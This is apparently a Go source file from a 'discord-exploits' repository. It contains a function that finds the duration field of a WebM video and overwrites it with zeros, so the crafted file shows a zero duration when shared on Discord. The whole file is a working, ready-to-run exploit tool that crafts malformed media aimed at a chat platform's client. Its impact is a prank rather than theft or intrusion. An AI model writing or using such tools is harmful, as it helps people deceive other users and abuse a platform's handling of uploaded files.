discord-exploits/exploits/zero-video.go

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package exploits
import (
"bytes"
"fmt"
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"github.com/Schmenn/discord-exploits/modules"
"os"
)
// RunZeroVideoTask edits file so it has got a duration of 0
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func RunZeroVideoTask(fileName string) {
data, err := os.ReadFile(fileName)
modules.Check(err)
index := bytes.Index(data, []byte("\x44\x89\x88"))
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if index == -1 {
fmt.Println("could not find the part of the file that needs to be modified, exiting")
fmt.Println("are you sure the file is actually a webm?")
return
}
data[index+3] = 0
data[index+4] = 0
data[index+5] = 0
data[index+6] = 0
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+10] = 0
name := modules.CreateName("webm")
fmt.Println(name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
}